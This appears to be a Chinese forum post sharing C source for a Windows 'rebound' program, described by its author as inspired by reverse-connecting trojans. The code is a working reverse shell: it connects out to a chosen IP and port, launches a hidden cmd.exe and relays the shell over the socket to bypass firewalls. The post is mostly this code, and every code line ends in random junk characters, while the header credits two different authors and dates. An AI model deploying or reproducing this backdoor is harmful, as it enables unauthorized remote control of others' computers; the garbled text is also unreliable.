这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T i!<{>
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/* ============================== M:QM*?+)
Rebound port in Windows NT
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By wind,2006/7 `@)>5gW&p
===============================*/ 9~ JeI /
#include 7ts`uI<E@7
#include oW\kJ>!
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#pragma comment(lib,"wsock32.lib") R-lpsvDDL2
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void OutputShell(); tVFydN~
SOCKET sClient; 4<(U/58a*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `_Fxb@"R
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void main(int argc,char **argv) LCouDk(=`
{ q9iHJ'lMD*
WSADATA stWsaData; MQvk&
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int nRet; s !XJ
SOCKADDR_IN stSaiClient,stSaiServer; <yxy ;o
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if(argc != 3) a7YzX5n
{ {$fd?| 9h
printf("Useage:\n\rRebound DestIP DestPort\n"); l`k""f69W
return; pas^FT~
} |O4LR,{G.w
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WSAStartup(MAKEWORD(2,2),&stWsaData); U+2U#v=<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n1J;)VyR
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stSaiClient.sin_family = AF_INET; _KZ&/
stSaiClient.sin_port = htons(0); wJ Qm7n-+
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;V)jC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) o7=#ye&P
{ aTU[H~dTU
printf("Bind Socket Failed!\n"); N6UPD11}6
return; ` 5lW
} @:%p#$V
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stSaiServer.sin_family = AF_INET; %(YU*Tf~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); R+b~m!58
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yi&6HNb
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) YQ$EN>.eO
{
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printf("Connect Error!"); w8iXuRv
return; /*kc|V
} i2&I<:
OutputShell(); J@l QzRqRb
} "eG@F
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void OutputShell() /{71JqFis
{ } 8&?
char szBuff[1024]; hy|Yy&-
SECURITY_ATTRIBUTES stSecurityAttributes; Lh;U2pA
OSVERSIONINFO stOsversionInfo; )~2~q7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7GG:1:2+>
STARTUPINFO stStartupInfo; >O$JS,
char *szShell; y)*W!]:7^>
PROCESS_INFORMATION stProcessInformation; u0{R;)
unsigned long lBytesRead; &w'1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;6AanwR6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); YU ,fx<c
stSecurityAttributes.lpSecurityDescriptor = 0; ] =*G[
stSecurityAttributes.bInheritHandle = TRUE; wT>~7$=L{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R>T9 H0
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,+GS.]8<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f~t5[D(\Q,
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; me ,lE-
stStartupInfo.wShowWindow = SW_HIDE; KEfwsNSc%
stStartupInfo.hStdInput = hReadPipe; pG(Fw>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W87kE?,
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GetVersionEx(&stOsversionInfo); h-+vNhH
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switch(stOsversionInfo.dwPlatformId) U+-R2w]#q_
{ E]dc4US
case 1: qe2@bG%2+F
szShell = "command.com"; /CXQ&nwY9=
break; }Yargj_Gn
default: \]|(w*C
szShell = "cmd.exe"; 0`KR8# A@
break; )o`[wq
} 6]NaP_\0
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3-v&ktD&N'
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send(sClient,szMsg,77,0); P{+,?X\
while(1) WJTc/
{ 8DGPA
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); r)|6H"n#]S
if(lBytesRead) 8e"MP\0V
{ 1YScZ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Nh[H[1"J
send(sClient,szBuff,lBytesRead,0); C Ef*:kr
} l1%ubu
else MGLcM&oR
{ rH$M6S
lBytesRead=recv(sClient,szBuff,1024,0); @~&1!
if(lBytesRead<=0) break; b ,e"x48q
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Aaug0X
} S{jm4LZ
} !QlCt>{
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return; Xmw%f[Xl
}